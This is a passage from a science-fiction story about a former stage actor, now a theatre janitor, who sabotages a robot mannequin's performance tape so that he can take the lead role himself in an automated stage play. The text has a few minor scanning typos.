  The salesman hesitated, eying the janitor who waited nearby. "Well,
  the floor-cleaning robot is only a small part of the complete
  service, but . . . I tell you what I'll do. I'll bring a packaged
  char-all over this afternoon, and let you have a look at it."

  "Fine. Datsa fine. You bring her, den we see."

  They shook hands. Thornier stood with his arms folded, haughtily
  inspecting a bug that crawled across the frond of a potted palm, and
  waiting for a chance to ask D'Uccia for the keys to the truck. He
  felt the theater manager's triumphant gaze, but gave no indication
  that he heard.

  "We can do the job for you all right, Mr. D'Uccia. Cut your worries
  in half. And that'll cut your doctor bills in half, too, like you
  say. Yes, sir! A man in your position gets ground down with just
  plain human inefficiency-other people's inefficiency. You'll never
  have to worry about that, once you get the building autojanitored,
  no sir!"

  "T'ank you kindly."

  "Thank you, Mr. D'Uccia, and I'll see you later this afternoon."

  The salesman left.
  
  "Well, bom?" D'Uccia grunted to the janitor.

  "The keys to the truck. Miss Ferne wants a pickup from the depot."

  D'Uccia tossed them to, him. "You hear what the man say? Letsa
  machines do alla work, hah? Always you wantsa day off. O.K., you
  takka da day off, ever'day pretty soon. Nice for you, hah, ragazzo?"

  Thornier turned away quickly to avoid displaying the surge of
  unwanted anger. "Be back in an hour," he grunted, and hurried away
  on his errand, his jaw working in sullen resentment. Why wait around
  for two humiliating weeks? Why not just walk out? Let D'Uccia do his
  own chores until the autojan was installed. He'd never be able to
  get another job around the theater anyhow, so D'Uccia's reaction
  wouldn't matter.

  I'll walk out now, he thought-and immediately knew that he
  wouldn't. It was hard to explain to himself, but when he thought of
  the final moment when he would be free to look for a decent job and
  a comfortable living-he felt a twinge of fear that was hard to
  understand.

  The janitor's job had paid him only enough to keep him alive in a
  fourth floor room where he cooked his own meager meals and wrote
  memoirs of the old days, but it had kept him close to the lingering
  remnants of something he loved.

  "Theater," they called it. Not the theater-as it was to the
  scalper's victim, the matinee housewife, or the awestruck hick-but
  just "theater." It wasn't a place, wasn't a business, wasn't the
  name of an art. "Theater" was a condition of the human heart and
  soul. Jade Ferne was theater. So was Ian Feria. So was Mela, poor
  kid, before her deal with Smithfield. Some had it, others didn't. In
  the old days, the ones that didn't have it soon got out. But the
  ones that had it, still had it, even after the theater was gobbled
  up by technological change. And they hung around. Some of them, like
  Jade and Ian and Mela, adapted to the change, profited by the
  prostitution of the stage, and developed ulcers and a guilty
  conscience. Still, they were theater, and because they were, he,
  Thornier, hung around, too, scrubbing the floors they walked on, and
  feeling somehow that he was still in theater. Now he was
  leaving. And now he felt the old bitterness boiling up inside
  again. The bitterness had been chronic and passive, and now it
  threatened to become active and acute.

  If I could only give them one last performance! he thought. One last
  great role.

  But that thought led to the fantasy-plan for revenge, the plan that
  came to him often as he wandered about the empty theater. Revenge
  was no good. And the plan was only a daydream. And yet-he wasn't
  going to get another chance.

  He set his jaw grimly and drove on to the Smithfield depot.
  

  The depot clerk had hauled the crated mannequin to the fore, and it
  was waiting for Thornier when he entered the stockroom. He rolled it
  out from the wall on a dolly, and the janitor helped him wrestle the
  coffin-sized packing case onto the counter.

  "Don't take it to the truck yet," the clerk grunted around the fat
  stub of a cigar. "It ain't a new doll, and you gotta sign a
  release."

  "What kind of a release?"

   "Liability for malfunction. If the doll breaks down during the
   show, you can't sue Smithfield. It's standard prack for used-doll
   rentals."

  "Why didn't they send a new one, then?"

   "Discontinued production on this model. You want it, you take a
   used one, and sign the release."

   "Suppose I don't sign?"

  "No siggy, no dolly."

  "Oh." He thought for a moment. Obviously, the clerk had mistaken him
  for production personnel. His signature wouldn't mean anything-but
  it was getting late, and Jade was rushed. Since the release wouldn't
  be valid anyhow he reached for the form.

  "Wait," said the clerk. "You better look at what you're signing
  for." He reached for a wrecking claw and slipped it under a metal
  binding strap. The strap broke with a screechy snap. "It's been
  overhauled," the clerk continued. "New solenoid fluid injected, new
  cosmetic job. Nothing really wrong. A few fatigue spots in the
  padding, and one toe missing. But you oughta have a look, anyhow."

  He finished breaking the lid-fastenings loose and turned to a
  wall-control board. "We don't have a complete Maestro here," he said
  as he closed a knife switch, "but we got the control transmitters,
  and some taped sequences. It's enough to pre-flight a doll."

  Equipment hummed to life somewhere behind the panel. The clerk
  adjusted several dials while Thornier waited impatiently.

  "Let's see-" muttered the cleric. "Guess we'll start off with the
  Frankenstein sequence." He flipped a switch.

  A purring sound came faintly from within the coffin-like
  box. Thornier watched nervously. The lid stirred, began to rise. A
  woman's hands came into view, pushing the lid up from within. The
  purring increased. The lid clattered aside to hang by the metal
  straps.

  The woman sat up and smiled at the janitor.

  Thornier went white. "Mela!" he hissed.

  "Ain't that a chiller?" chuckled the clerk. "Now for the
  hoochy-coochy sequence-"

  "No-"

  The clerk flipped another switch. The doll stood up slowly, chastely
  nude as a window-dummy. Still smiling at Thorny, the doll did a bump
  and a grind.

  "Stop it!" he yelled hoarsely.

  "Whassa matter, buddy?"

  Thorny heard another switch snap. The doll stretched gracefully and
  yawned. It stretched out in its packing case again, closed its eyes
  and folded its hands over its bosom. The purring stopped.

  "What's eating you?" the clerk grumbled, slapping the lid back over
  the case again. "You sick or something?"

  "I ... I knew her," Ryan Thornier wheezed. "I used to work-" He
  shook himself angrily and seized the crate. "Wait, I'll give you a
  hand."

  Fury awakened new muscles. He hauled the crate out on the loading
  dock without assistance and dumped it in the back of the truck, then
  came back to slash his name across the release forms.

  "You sure get sore easy," the clerk mumbled. "You better take it
  easy. You sure better take it easy."

  Thorny was cursing softly as he nosed the truck out into the river
  of traffic. Maybe Jade thought it was funny, sending him after
  Mela's doll. Jade remembered how it had been between them-if she
  bothered to think about it. Thornier and Stone-a team that had
  gotten constant attention from the gossip columnists in the old
  days. Rumors of engagement, rumors of secret marriage, rumors of
  squabbles and reunions, break-ups and patch-ups, and some of the
  rumors were almost true. Maybe Jade thought it was a howl, sending
  him to fetch the mannequin.

  But no-his anger faded as he drove along the boulevard-she hadn't
  thought about it. Probably she tried hard not to think of old times
  any more.

  Gloom settled over him again, replacing rage. Still it haunted
  him-the horrified shock of seeing her sit up like an awakened corpse
  to smile at him. Mela . . . Mela

  They'd had it good together and bad together. Bit parts and beans in
  a cold-water flat. Starring roles and steaks at Sardi's. And-love?
  Was that what it was? He thought of it uneasily. Hypnotic absorption
  in each other, perhaps, and in the mutual intoxication of their
  success-but it wasn't necessarily love. Love was calm and even and
  lasting, and you paid for it with a dedicated lifetime, and Mela
  wouldn't pay. She'd walked out on them. She'd walked to Smithfield
  and bought security with sacrifice of principle. There'd been a name
  for what. she'd done. "Scab," they used to say.

  He shook himself. It was no good, thinking about those times. Times
  died with each passing minute. Now they paid $8.80 to watch Mela's
  figurine move in her stead, wearing Mela's face, moving with Mela's
  gestures, walking with the same lilting walk. And the doll was still
  young, while Mela had aged ten years, years of collecting quarterly
  royalties from her dolls and living comfortably.

  Great Actors Immortalized-that was one of Smith field's little
  slogans. But they had discontinued production on Mela Stone, the
  depot clerk had said. Overstocked.

  The promise of relative immortality had been quite a bait. Actors
  unions had resisted autodrama, for obviously the bit players and the
  lesser-knowns would not be in demand. By making dozens-even
  hundreds-of copies of the same leading star, top talent could be had
  for every role, and the same actor-mannequin could be playing
  simultaneously in dozens of shows all over the country. The unions
  had resisted-but only a few were wanted by Smithfield anyhow, and
  the lure was great. The promise of fantastic royalties was enticing
  enough, but in addition immortality for the actor, through
  duplication of mannequins. Authors, artists, playwrights had always
  been able to outlive the centuries, but actors were remembered only
  by professionals, and their names briefly recorded in the annals of
  the stage. Shakespeare would live another thousand years, but who
  remembered Dick Burbage who trouped in the day of the bard's
  premiers? Flesh and bone, heart and brain, these were the trouper's
  media, and his art could not outlive them.

  Thorny knew the yearnings after lastingness, and he could no longer
  hate the ones who had gone over. As for himself, the autodrama
  industry had made him a tentative offer, and he had resisted-partly
  because he was reasonably certain that the offer would have been
  withdrawn during testing procedures. Some actors were not
  "cybergenic"-could not be adequately sculptured into
  electronic-robotic analogues. These were the portrayers, whose art
  was inward, whose roles had to be lived rather than played. No
  polygraphic analogue could duplicate their talents, and Thornier
  knew he was one of them. It had been easy for him to resist.
  
  At the corner of Eighth Street, he remembered the spare tape and the
  replacement pickup for the Maestro. But if he turned back now, he'd
  hold up the ran-through, and Jade would be furious. Mentally he
  kicked himself, and drove on to the delivery entrance of the
  theater. There he left the crated mannequin with the stage crew, and
  headed back for the depot without seeing the producer.

  "Hey, bud," said the clerk, "your boss was on the phone. Sounded
  pretty unhappy."

  "Who ... D'Uccia?"

  "No . . . well, yeah, D'Uccia, too. He wasn't unhappy, just having
  fits. I meant Miss Ferne."

  "Oh ... where's your phone?"

  �Over there. The lady was near hysterical.�

  Thorny swallowed hard and headed for the booth. Jade Ferne was a
  good friend, and if his absent-mindedness had goofed up her
  production--

   "I've got the pickup and the tape ready to go," the clerk called
   after him. "She told me about it on the phone. Boy, you're sure on
   the ball today, ain't ya--the greasy eight ball."

  Thorny reddened and dialed nervously.

  "Thank God!" she groaned. "Thorny, we did the run-through with
  Andreyev a walking zombie. The Maestro chewed up our duplicate
  Peltier tape, and we're running without an actor-analogue in the
  starring role. Baby, I could murder you!"

   "Sorry, Jade. I slipped a cog, I guess."

  "Never mind! Just get the new pickup mechanism over here for
  Thomas. And the Peltier tape. And don't have a wreck. It's two
  o'clock, and tonight's opening, and we're still short our leading
  man. And there's no time to get anything else flown in from
  Smithfield."

  "In some ways, nothing's changed, has it, Jade?" he grunted,
  thinking of the eternal backstage hysteria that lasted until the
  lights went low and beauty and calm order somehow emerged
  miraculously out of the prevailing chaos.

  "Don't philosophize, just get here!" she snapped, and hung up.

  The clerk had the cartons ready for him as he emerged. "Look, chum,
  better take care of that Peltier tape," the clerk advised. "It's the
  last one in the place. I've got more on order, but they won't be
  here for a couple of days."

  Thornier stared at the smaller package thoughtfully. The last
  Peltier?

  The plan, he remembered the plan. This would make it easy. Of
  course, the plan was only a fantasy, a vengeful dream. He couldn't
  go through with it. To wreck the show would be a stab at Jade--

  He heard his own voice like a stranger's, saying; "Miss Ferne also
  asked me to pick up a Wilson Granger tape, and a couple of
  three-inch splices."

  The clerk looked surprised. "Granger? He's not in `The Anarch,' is
  he?"

  Thornier shook his head. "No-guess she wants it for a trial
  casting. Next show, maybe."

  The clerk shrugged and went to get the tape and the
  splices. Thornier stood clenching and unclenching his fists. He
  wasn't going to go through with it, of course. Only a silly fantasy.

  "I'll have to make a separate ticket on these," said the clerk,
  returning.

  He signed the delivery slips in a daze, then headed for the
  truck. He drove three blocks from the depot, then parked in a
  loading zone. He opened the tape cartons carefully with his
  penknife, peeling back the glued flaps so that they could be sealed
  again. He removed the two rolls of pattern perforated tape from
  their small metal canisters, carefully plucked off the masking-tape
  seals and stuck them temporarily to the dashboard. He unrolled the
  first half-yard of the Peltier tape; it was unperforated, and
  printed with identifying codes and manufacturer's data. Fortunately,
  it was not a brand-new tape; it had been used before, and he could
  see the wear-marks. A splice would not arouse suspicion.

  He cut off the identifying tongue with his knife, laid it
  aside. Then he did the same to the Granger tape.

  Granger was fat, jovial, fiftyish. His mannequin played comic
  supporting roles.

  Peltier was young, gaunt, gloomy-the intellectual villain, the
  dedicated fanatic. A fair choice for the part of Andreyev.

  Thornier's hands seemed to move of their own volition, playing
  reflexively in long-rehearsed roles. He cut the tapes. He took out
  one of the hot-splice packs and jerked the tab that started the
  chemical action. He clocked off fifteen seconds by his watch, then
  opened the pack and fitted into it the cut ends of the Granger tape
  and the Peltier identifying tongue, butted them carefully end to
  end, and closed the pack. When it stopped smoking, he opened it to
  inspect the splice. A neat patch, scarcely visible on the slick
  plastic tape. Granger's analogue, labeled as Peltier's. And the body
  of the mannequin was Peltier's. He resealed it in its canister.

  He wadded the Peltier tape and the Granger label and the extra
  delivery receipt copy into the other box. Then he pulled the truck
  out of the loading zone and drove through the heavy traffic like a
  racing jockey, trusting the anti-crash radar to see him safely
  through. As he crossed the bridge, he threw the Peltier tape out the
  window into the river. And then there was no retreat from what he
  had done.
  
  Jade and Feria sat in the orchestra, watching the final act of the
  run-through with a dud Andreyev. When Thorny slipped in beside them,
  Jade wiped mock sweat from her brow.

  "Thank God you're back!" she whispered as he displayed the delayed
  packages. "Sneak backstage and run them up to Rick in the booth,
  will you? Thorny, I'm out of my mind!"

  "Sorry, Miss Ferne." Fearing that his guilty nervousness hung about
  him like a ragged cloak, he slipped quickly backstage and delivered
  the cartons to Thomas in the booth. The technician hovered over the
  Maestro as the play went on, and he gave Thornier only a quick nod
  and a wave.

  Thorny retreated into misty old corridors and unused dressing rooms,
  now heaped with junk and remnants of other days. He had to get a
  grip on himself, had to quit quaking inside. He wandered alone in
  the deserted sections of the building, opening old doors to peer
  into dark cubicles where great stars had preened in other days,
  other nights. Now full of trunks and cracked mirrors and tarpaulins
  and junked mannequins. Faint odors lingered-nervous
  smells-perspiration, make-up, dim perfume that pervaded the
  walls. Mildew and dust-the aroma of time. His footsteps sounded
  hollowly through the unpeopled rooms, while muffled sounds from the
  play came faintly through the walls-the hysterical pleading of
  Marka, the harsh laughter of Piotr, the marching boots of the
  revolutionist guards, a burst of music toward the end of the scene.

  He turned abruptly and started back toward the stage. It was no
  good, hiding away like this. He must behave normally, must do what
  he usually did. The falsified Peltier tape would not wreak its havoc
  until after the first run-through, when Thomas fed it into the
  Maestro, reset the machine, and prepared to start the second trial
  run. Until then, he must remain casually himself, and afterwards-?

  Afterwards, things would have to go as he had planned.

  Afterwards, Jade would have to come to him, as he believed she
  would. If she didn't, then he had bungled, he had clumsily wrecked,
  and to no avail.

  He slipped through the power-room where converters hummed softly,
  supplying power to the stage. He stood close to the entrance,
  watching the beginnings of scene iii, of the third act. Andreyev-the
  Peltier doll-was on alone, pacing grimly in his apartment while the
  low grumble of a street mob and the distant rattle of machine-gun
  fire issued from the Maestro-managed sound effect system. After a
  moment's watching, he saw that Andreyev's movements were not "grim"
  but merely methodical and lifeless. The tapeless mannequin, going
  through the required motions, robotlike, without interpretation of
  meaning. He heard a brief burst of laughter from someone in the
  production row, and after watching the zombie-like rendering of
  Andreyev in a suspenseful scene, he, too, found himself grinning
  faintly.

  The pacing mannequin looked toward him suddenly with a dead-pan
  face. It raised both fists toward its face.

  "Help," it said in a conversational monotone. "Ivan, where are you?
  Where? Surely they've come; they must come." It spoke quietly,
  without inflection. It ground its fists casually against its
  temples, paced mechanically again.

  A few feet away, two mannequins that had been standing frozen in the
  off-stage lineup, clicked suddenly to life. As ghostly calm as
  display window dummies, they galvanized suddenly at a signal pulse
  command from the Maestro. Muscles-plastic sacs filled with
  oil-suspended magnetic powder and wrapped with elastic coils of
  wire, like flexible solenoids-tightened and strained beneath the
  airfoam flesh, working spasmodically to the pulsing rhythms of the
  polychromatic u.h.f. commands of the Maestro. Expressions of fear
  and urgency leaped to their faces. They crouched, tensed, looked
  around, then burst on stage, panting wildly.

  "Comrade, she's come, she's come!" one of them screamed. "She's come
  with him, with Boris!"

  "What? She has him prisoner?" came the casual reply. "No, no,
  comrade. We've been betrayed. She's with him. She's a traitor, she's
  sold out to them."

  There was no feeling in the uninterpreted Andreyev's responses, even
  when he shot the bearer of bad tidings through the heart.

  Thornier grew fascinated with watching as the scene progressed. The
  mannequins moved gracefully, their movements sinuous and more evenly
  flowing than human, they seemed boneless. The ratio of
  mass-to-muscle power of their members was carefully chosen to yield
  the flow of a dance with their every movement. Not clanking
  mechanical robots, not stumbling puppets, the dolls sustained
  patterns of movement and expression that would have quickly brought
  fatigue to a human actor, and the Maestro coordinated the events on
  stage in a way that would be impossible to a group of humans, each
  an individual and thinking independently.

  It was as always. First, he looked with a shudder at the Machine
  moving in the stead of flesh and blood, at Mechanism sitting in the
  seat of artistry. But gradually his chill melted away, and the play
  caught him, and the actors were no longer machines. He lived in the
  role of Andreyev, and breathed the lines off-stage, and he knew the
  rest of them: Meta and Pettier, Sam Dion and Peter Repplewaite. He
  tensed with them, gritted his teeth in anticipation of difficult
  lines, cursed softly at the dud Andreyev, and forgot to listen for
  the faint crackle of sparks as the mannequins' feet stepped across
  the copper-studded floor, drinking energy in random bites to keep
  their storage packs near full charge.

  Thus entranced, he scarcely noticed the purring and brushing and
  swishing sounds that came from behind him, and grew louder. He heard
  a quiet mutter of voices nearby, but only frowned at the
  distraction, kept his attention rooted to the stage.

  Then a thin spray of water tickled his ankles. Some-thing soggy and
  spongelike slapped against his foot. He whirled.

  A gleaming metal spider, three feet high came at him slowly on-six
  legs, with two grasping claws extended. It clicked its way toward
  him across the floor, throwing out a thin spray of liquid which it
  promptly sucked up with the spongelike proboscis. With one grasping
  claw, it lifted a ten-gallon can near his leg, sprayed under it,
  swabbed, and set the can down again.

  Thornier came unfrozen with a howl, leaped over the thing, hit the
  wet-soapy deck off balance. He skidded and sprawled. The spider
  scrubbed at the floor toward the edge of the stage, then reversed
  directions and came back toward him.

  Groaning, he pulled himself together, on hands and knees. D'Uccia's
  cackling laughter spilled over him. He glanced up. The chubby
  manager and the servo salesman stood over him, the salesman
  grinning, D'Uccia chortling.

  "Datsa ma boy, datsa ma boy! Always, he watcha the show, then he
  don't swip-op around, then he wantsa day off. Thatsa ma boy, for
  sure." D'Uccia reached down to pat the metal spider's chassis. "Hey,
  ragazzo," he said again to Thornier, "want you should meet my new
  boy here. This one, he don't watcha the show like you."

  He got to his feet, ghost-white and muttering. D'Uccia took closer
  note of his face, and his grin went sick. He inched back a
  step. Thornier glared at him briefly, then whirled to stalk away. He
  whirled into near collision with the Mela Stone mannequin,
  recovered, and started to pass in back of it.

  Then he froze.

  The Mela Stone mannequin was on stage, in the final scene. And this
  one looked older, and a little haggard. It wore an expression of
  shocked surprise as it looked him up and down. One hand darted to
  its mouth.

  "Thorny-!" A frightened whisper.

  "Mesa!" Despite the play, he shouted it, opening his arms to
  her. "Mela, how wonderful!"

  And then, he noticed she winced away from his sodden coveralls. And
  she wasn't glad to see him at all.

  "Thorny, how nice," she managed to murmur, extending her hand
  gingerly. The hand flashed with jewelry.

  He took it for an empty second, stared at her, then walked hurriedly
  away, knots twisting up inside him. Now he could play it
  through. Now he could go on with it, and even enjoy executing his
  plan against all of them.

  Mela had come to watch opening night for her doll in "The Anarch,"
  as if its performance were her own. I'll arrange, he thought, for it
  not to be a dull show.

  "No, no, wool" came the monotone protest of the dud Andreyev, in the
  next-to-the-last scene. The bark of Marka's gun, and the Peltier
  mannequin crumpled to the stage; and except for a brief triumphant
  denouement, the play was over.

  At the sound of the gunshot, Thornier paused to smile tightly over
  his shoulder, eyes burning from his hawklike face. Then he vanished
  into the wings.
  
  She got away from them as soon as she could, and she wandered around
  backstage until she found him in the storage room of the costuming
  section. Alone, he was sorting through the contents of an old locker
  and muttering nostalgically to himself. She smiled and closed the
  door with a thud. Startled, he dropped an old collapsible top-hat
  and a box of blank cartridges back into the trunk. His hand dived
  into his pocket as he straightened.

  "Jade! I didn't expect-"

  "Me to come?" She flopped on a dusty old chaise lounge with a weary
  sigh and fanned herself with a program, closing her eyes. She kicked
  off her shoes and muttered: "Infuriating bunch. I hate 'em!"-made a
  retching face, and relaxed into little-girlhood. A little girl who
  had trouped with Thornier and the rest of them-the actress Jade
  Ferne, who had begged for bit parts and haunted the agencies and won
  the roles through endless rehearsals and shuddered with fright
  before opening curtain like the rest of them. Now she was a pert
  little woman with shrewd eyes, streaks of gray at the temples, and
  hard lines around her mouth. As she let the executive cloak slip
  away, the shrewdness and the hard lines melted into weariness.

  "Fifteen minutes to get my sanity back, Thorny," she muttered,
  glancing at her watch as if to time it.

  He sat on the trunk and tried to relax. She hadn't seemed to notice
  his uneasiness, or else she was just too tired to attach any
  significance to it. If she found him out, she'd have him flayed and
  pitched out of the building on his ear, and maybe call the
  police. She came in a small package, but so did an incendiary
  grenade. It won't hurt you, Jade, what I'm doing, he told
  himself. It'll cause a big splash, and you won't like it, but it
  won't hurt you, nor even wreck the show.

  He was doing it for show business, the old kind, the kind they'd
  both known and loved. And in that sense, he told himself further, he
  was doing it as much for her as he was for himself.

  "How was the run-through, Jade?" he asked casually.

  "Except for Andreyev, I mean." "Superb, simply superb," she said
  mechanically.

   "I mean really."

  She opened her eyes, made a sick mouth. "Like always, Thorny, like
  always. Nauseating, overplayed, perfectly directed for a gum-chewing
  bag-rattling crowd. A crowd that wants it overplayed so that it
  won't have to think about what's going on. A crowd that doesn't want
  to reach out for a feeling or a meaning. It wants to be clubbed on
  the head with the meaning, so it doesn't have to reach. I'm sick of
  it."

  He looked briefly surprised. "That figures," he grunted wryly.

  She hooked her bare heels on the edge of the lounge, hugged her
  shins, rested her chin on her knees, and blinked at him. "Hate me
  for producing the stuff, Thorny?"

  He thought about it for a moment, shook his head. "I get sore at the
  setup sometimes, but I don't blame you for it."

  "That's good. Sometimes I'd trade places with you. Sometimes I'd
  rather be a charwoman and scrub D'Uccia's floors instead."

  "Not a chance," he said sourly. "The Maestro's relatives are taking
  that over, too."

  "I know. I heard. You're out of a job, thank God. Now you can get
  somewhere."

  He shook his head. "I don't know where. I can't do anything but
  act."

   "Nonsense. I can get you a job tomorrow."

   "Where?"

  "With Smithfield. Sales promotion. They're hiring a number of old
  actors in the department."

   "No." He said it flat and cold.

  "Not so fast. This is something new. The company's expanding."

  "Ha."

  "Autodrama for the home. A four-foot stage in every living
  room. Miniature mannequins, six inches high. Centralized Maestro
  service. Great Plays piped to your home by concentric cable. Just
  dial Smithfield, make your request. Sound good?"

  He stared at her icily. "Greatest thing in show business since Sarah
  Bernhardt," he offered tonelessly. "Thorny! Don't get nasty with
  me!"

  "Sorry. But what's so new about having it in the home? Autodrama
  took over TV years ago."

  "I know, but this is different. Real miniature theater. Kids go wild
  for it. But it'll take good promotion to make it catch on."

  "Sorry, but you know me better than that."

  She shrugged, sighed wearily, closed her eyes again. "Yes, I
  do. You've got portrayer's integrity. You're a darfsteller. A
  director's ulcer. You can't play a role without living it, and you
  won't live it unless you believe it. So go ahead and starve." She
  spoke crossly, but he knew there was grudging admiration behind it.

  "I'll be O.K.," he grunted, adding to himself: after tonight's
  performance.

  "Nothing I can do for you?"

  "Sure. Cast me. I'll stand in for dud mannequins." She gave him a
  sharp glance, hesitated. "You know, I believe you would!"

  He shrugged. "Why not?"

  She stared thoughtfully at a row of packing cases, waggled her dark
  head. "Hmmp! What a spectacle that'd be-a human actor, incognito,
  playing in an autodrama."

  "It's been done-in the sticks."

  "Yes, but the audience knew it was being done, and that always
  spoils the show. It creates contrasts that don't exist or wouldn't
  be noticed otherwise. Makes the dolls seem snaky, birdlike, too
  rubbery quick. With no humans on stage for contrast, the dolls just
  seem wistfully graceful, ethereal."

  "But if the audience didn't know-"

  Jade was smiling faintly. "I wonder," she mused. "I wonder if they'd
  guess. They'd notice a difference, of course-in one mannequin."

  "But they'd think it was just the Maestro's interpretation of the
  part."

  "Maybe-if the human actor were careful."

  He chuckled sourly. "If it fooled the critics-"

   "Some ass would call it `an abysmally unrealistic interpretation'
   or `too obviously mechanical." She glanced at her watch, shook
   herself, stretched wearily, and slipped into her shoes
   again. "Anyway," she added, "there's no reason to do it, since the
   Maestro's really capable of rendering a better-than-human
   performance anyhow."

  The statement brought an agonized gasp from the janitor. She looked
  at him and giggled. "Don't be shocked, Thorny. I said `capable
  of-not �in the habit of.' Auto-drama entertains audiences on the
  level they want to be entertained on."

   "But-"

  "Just," she added firmly, "as show business has always done."

  "But-"

   "Oh, retract your eyeballs, Thorny. I didn't mean to blaspheme."
   She preened, began slipping back into her producer's mold as she
   prepared to return to her crowd. "The only thing wrong with
   autodrama is that it's scaled down to the moron-level-but show
   business always has been, and probably should be. Even if it gives
   us kids a pain." She smiled and patted his cheek. "Sorry I shocked
   you. Au 'voir, Thorny. And luck."
  

  When she was gone, he sat fingering the cartridges in his pocket and
  staring at nothing. Didn't any of them have any sensibilities? Jade
  too, a seller of principle. And he had always thought of her as
  having merely compromised with necessity, against her real
  wishes. The idea that she could really believe autodrama capable of
  rendering a better-than-human performance--

  But she didn't. Of course she needed to rationalize, to excuse what
  she was doing--

  He sighed and went to lock the door, then to recover the old "March"
  script from the trunk. His hands were trembling slightly. Had he
  planted enough of an idea in Jade's mind; would she remember it
  later? Or perhaps remember it too clearly, and suspect it?

  He shook himself sternly. No apprehensions allowed. When Rick rang
  the bell for the second run-through, it would be his entrance-cue,
  and he must be in-character by then. Too bad he was no schauspieler,
  too bad he couldn't switch himself on-and-off the way Jade could do,
  but the necessity for much inward preparation was the burden of the
  darfsteller. He could not change into role without first changing
  himself, and letting the revision seep surfaceward as it might,
  reflecting the inner state of the man.

  Strains of Moussorgsky pervaded the walls. He closed his eyes to
  listen and feel. Music for empire. Music at once brutal and
  majestic. It was the time of upheaval, of vengeance, of
  overthrow. Two times, superimposed. It was the time of opening
  night, with Ryan Thornier--ten years ago--cast in the starring role.

  He fell into a kind of trance as he listened and clocked the pulse
  of his psyche and remembered. He scarcely noticed when the music
  stopped, and the first few lines of the play came through the walls.

  "Cut! Cut!" A worried shout. Feria's.

  It had begun.

  Thornier took a deep breath and seemed to come awake. When he opened
  his eyes and stood up, the janitor was gone. The janitor had been a
  nightmare role, nothing more.

  And Ryan Thornier, star of "Walkaway," favored of the critics,
  confident of a bright future, walked out of the storage room with a
  strange lightness in his step. He carried a broom, he still wore the
  dirty coveralls, but now as if to a masquerade.

  
  The Peltier mannequin lay sprawled on the stage in a grotesque
  heap. Ryan Thornier stared at it calmly from behind the set and
  listened intently to the babble of stage hands and technicians that
  milled about him:

  "Don't know. Can't tell yet. It came out staggering and
  gibbering-like it was drunk. It reached for a table, then it fell on
  its face-"

  "Acted like the trouble might be a mismatched tape, but Rick
  rechecked it. Really Peltier's tape-"

  "Can't figure it out. Miss Ferne's having kittens."

  Thornier paused to size up his audience. Jade, Ian, and their staff
  milled about in the orchestra section. The stage was empty, except
  for the sprawled mannequin. Too much frantic conversation, all
  around. His entrance would go unnoticed. He walked slowly onstage
  and stood over the fallen doll with his hands in his pockets and his
  face pulled down in a somber expression. After a moment, he nudged
  the doll with his toe, paused, nudged it again. A faint giggle came
  from the orchestra. The corner of his eye caught Jade's quick glance
  toward the stage. She paused in the middle of a sentence.

  Assured that she watched, he played to an imaginary audience-friend
  standing just off stage. He glanced toward the friend, lifted his
  brows questioningly. The friend apparently gave him the nod. He
  looked around warily, then knelt over the fallen doll. He took its
  pulse, nodded eagerly to the offstage friend. Another giggle came
  from orchestra. He lifted the doll's head, sniffed its breath, made
  a face. Then, gingerly, he rolled it.

  He reached deep into the mannequin's pocket, having palmed his own
  pocket watch beforehand. His hand paused there, and he smiled to his
  offstage accomplice and nodded eagerly. He withdrew the watch and
  held it up by its chain for his accomplice's approval.

  A light burst of laughter came from the production personnel. The
  laughter frightened the thief. He shot an apprehensive glance around
  the stage, hastily returned the watch to the fallen dummy, felt its
  pulse again. He traded a swift glance with his confederate,
  whispered "Aha!" and smiled mysteriously. Then he helped the doll to
  its feet and staggered away with it-a friend leading a drunk home to
  its family. In the doorway, he paused to frame his exit with a wary
  backward glance that said he was taking it to a dark alley where he
  could rob it in safety.

  Jade was gaping at him.

  Three technicians had been watching from just off the set, and they
  laughed heartily and clapped his shoulder as he passed, providing
  the offstage audience to which he had seemed to be playing.

  Good-natured applause came from Jade's people out front, and as
  Thorny carried the doll away to storage, he was humming softly to
  himself.

  
  At five minutes till six, Rick Thomas and a man from the Smithfield
  depot climbed down out of the booth, and Jade pressed forward
  through the crowd to question him with her eyes.

  "The tape," he said. "Defective"

  "But it's too late to get another!" she squawked.

  "Well, it's the tape, anyway."

  "How do you know?"

  "Well-trouble's bound to be in one of three places. The doll, the
  tape, or the analogue tank where the tape-data gets stored. We
  cleared the tank and tried it with another actor. Worked O.K. And
  the doll works O.K. on an uninterpreted run. So, by elimination, the
  tape."

  She groaned and slumped into a seat, covering her face with her
  hands.

  "No way at all to locate another tape?" Rick asked.

  "We called every depot within five hundred miles. They'd have to cut
  one from a master. Take too long."

  "So we call off the show!" Ian Feria called out resignedly, throwing
  up his hands in disgust. "Refund on tickets, open tomorrow."

  "Wait!" snapped the producer, looking up suddenly. "Dooch-the house
  is sold out, isn't it?"

  "Yah," D'Uccia grunted irritably. "She'sa filled op. Wassa matter
  with you pipple, you don' getsa Maestro fix? Wassa matter? We lose
  the money, hah?"

  "Oh, shut up. Change curtain time to nine, offer refunds if they
  won't wait. Ian, keep at it. Get things set up for tonight." She
  spoke with weary determination, glancing around at them. "There may
  be a slim chance. Keep at it. I'm going to try something." She
  turned and started away.

   "Hey!" Feria called.

  "Explain later," she muttered over her shoulder.

  She found Thornier replacing burned-out bulbs in the wall
  fixtures. He smiled down at her while he reset the clamps of an
  amber glass panel. "Need me for something, Miss Ferne?" he called
  pleasantly from the stepladder.

  "I might," she said tersely. "Did you mean that offer about standing
  in for dud mannequins?"

  A bulb exploded at her feet after it slipped from his hand. He came
  down slowly, gaping at her.

   "You're not serious!"

  "Think you could try a run-through as Andreyev?" He shot a quick
  glance toward the stage, wet his lips, stared at her dumbly.

   "Well-can you?"

  "It's been ten years, Jade . . . I-"

  "You can read over the script, and you can wear an earplug radio--so
  Rick can prompt you from the booth."

  She made the offer crisply and matter-of-factly, and it made Thorny
  smile inwardly. It was theater-calmly asking the outrageously
  impossible, gambling on it, and getting it.

   "The customers-they're expecting Peltier."

  "Right now I'm only asking you to try a runthrough, Thorny. After
  that, we'll see. But remember it's our only chance of going on
  tonight."

  "Andreyev," he breathed. "The lead."

  "Please, Thorny, will you try?"

  He looked around the theater, nodded slowly. "I'll go study my
  lines," he said quietly, inclining his head with what he hoped was
  just the proper expression of humble bravery.

  
  I've got to make it good, I've got to make it great. The last
  chance, the last great role--

  Glaring footlights, a faint whisper in his ear, and the cold panic
  of the first entrance. It came and passed quickly. Then the stage
  was a closed room, and the audience-of technicians and production
  personnel-was only the fourth wall, somewhere beyond the lights. He
  was Andreyev, commissioner of police, party whip, loyal servant of
